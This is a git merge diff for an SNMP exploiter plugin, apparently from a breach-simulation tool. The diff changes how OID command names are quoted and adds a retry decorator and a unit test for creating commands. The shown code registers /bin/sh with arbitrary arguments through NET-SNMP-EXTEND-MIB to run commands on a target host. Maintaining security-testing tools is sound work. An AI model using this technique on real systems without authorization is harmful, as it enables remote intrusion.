Merge branch '3234-repeat-create-on-error' into develop

Issue #3234

Author: mssalvatore

monkey/agent_plugins/exploiters/snmp/src/snmp_client.py

@@ -107,7 +107,7 @@ def _create_command(self, target_ip: IPv4Address, command_name: str, community_s
             ),
             ContextData(),
             ObjectType(
-                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendStatus", f'"{command_name}"'),
+                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendStatus", command_name),
                 "createAndWait",
             ),
             lookupNames=True,
@@ -143,11 +143,11 @@ def _set_command(
             ),
             ContextData(),
             ObjectType(
-                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendCommand", f'"{command_name}"'),
+                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendCommand", command_name),
                 "/bin/sh",
             ),
             ObjectType(
-                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendArgs", f'"{command_name}"'),
+                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendArgs", command_name),
                 command,
             ),
             lookupNames=True,
@@ -166,7 +166,7 @@ def _activate_command(self, target_ip: IPv4Address, command_name: str, community
             ),
             ContextData(),
             ObjectType(
-                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendStatus", f'"{command_name}"'),
+                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendStatus", command_name),
                 "active",
             ),
         )
@@ -198,10 +198,10 @@ def execute_command(self, target_ip: IPv4Address, command_name: str, community_s
             ),
             ContextData(),
             ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendNumEntries", 0)),
-            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendCommand", f'"{command_name}"')),
-            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendArgs", f'"{command_name}"')),
-            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendInput", f'"{command_name}"')),
-            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendResult", f'"{command_name}"')),
+            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendCommand", command_name)),
+            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendArgs", command_name)),
+            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendInput", command_name)),
+            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendResult", command_name)),
         )
         self._dispatch(cmd)
 
@@ -226,7 +226,7 @@ def clear_command(self, target_ip: IPv4Address, command_name: str, community_str
             ),
             ContextData(),
             ObjectType(
-                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendStatus", f'"{command_name}"'),
+                ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendStatus", command_name),
                 "destroy",
             ),
         )
@@ -244,7 +244,7 @@ def _get_rowstatus(
                 retries=self._snmp_retries,
             ),
             ContextData(),
-            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendStatus", f'"{command_name}"')),
+            ObjectType(ObjectIdentity(SNMP_EXTEND_MIB, "nsExtendStatus", command_name)),
         )
         result = self._dispatch(cmd)
         vars = [

monkey/agent_plugins/exploiters/snmp/src/snmp_exploit_client.py

@@ -1,8 +1,8 @@
-from functools import partial
+from functools import partial, wraps
 from ipaddress import IPv4Address
 from logging import getLogger
 from time import time
-from typing import Callable, Tuple
+from typing import Callable, Tuple, Type
 
 from common.agent_events import ExploitationEvent, PropagationEvent
 from common.event_queue import IAgentEventPublisher
@@ -32,6 +32,31 @@
 PROPAGATION_TAGS = (SNMP_EXPLOITER_TAG, INGRESS_TOOL_TRANSFER_T1105_TAG)
 
 
+def repeat_on_error(max_times: int = 3, error_types: Tuple[Type] = (Exception,)):
+    """
+    Decorator to repeat a command if it fails with an error
+
+    :param times: The maximum number of times to repeat the command
+    :param error_types: The types of errors to catch
+    """
+
+    def decorator(func):
+        @wraps(func)
+        def inner(*args, **kwargs):
+            for _ in range(max_times - 1):
+                try:
+                    return func(*args, **kwargs)
+                except error_types as err:
+                    logger.debug(f"Retrying due to error: {err}")
+
+            # Allow the exception on the last try to bubble up
+            return func(*args, **kwargs)
+
+        return inner
+
+    return decorator
+
+
 class SNMPExploitClient:
     def __init__(
         self,
@@ -92,15 +117,21 @@ def exploit_host(
         return exploitation_success, propagation_success
 
     def _exploit(self, target_ip: IPv4Address, community_string: str, command: str):
-        command_name = self._generate_command_name()
-        logger.debug(f"Executing SNMP command {command_name} on {target_ip}")
-
-        self._snmp_client.create_command(target_ip, command_name, community_string, command)
+        command_name = self._create_command(target_ip, community_string, command)
         try:
             self._snmp_client.execute_command(target_ip, command_name, community_string)
         finally:
             self._snmp_client.clear_command(target_ip, command_name, community_string)
 
+    @repeat_on_error(max_times=3)
+    def _create_command(self, target_ip: IPv4Address, community_string: str, command: str) -> str:
+        command_name = self._generate_command_name()
+        logger.debug(f"Creating SNMP command {command_name} on {target_ip}")
+
+        self._snmp_client.create_command(target_ip, command_name, community_string, command)
+
+        return command_name
+
     def _publish_exploitation_event(
         self, host: TargetHost, timestamp: float, success: bool, message: str
     ):

monkey/tests/unit_tests/agent_plugins/exploiters/snmp/test_snmp_exploit_client.py

@@ -204,6 +204,19 @@ def test_exploit__failure_on_create_exception(
     assert not propagation_success
 
 
+def test_exploit__retries_create_on_error(
+    mock_snmp_client,
+    exploit_host: Callable[[], Tuple[bool, bool]],
+    mock_command_name_generator,
+):
+    mock_snmp_client.create_command.side_effect = Exception("test")
+
+    exploit_host()
+
+    assert mock_snmp_client.create_command.call_count > 1
+    assert mock_command_name_generator.call_count == mock_snmp_client.create_command.call_count
+
+
 @pytest.mark.parametrize("command_name", ["command0", "command1", "command2"])
 def test_exploit__uses_command_name_generator(
     command_name,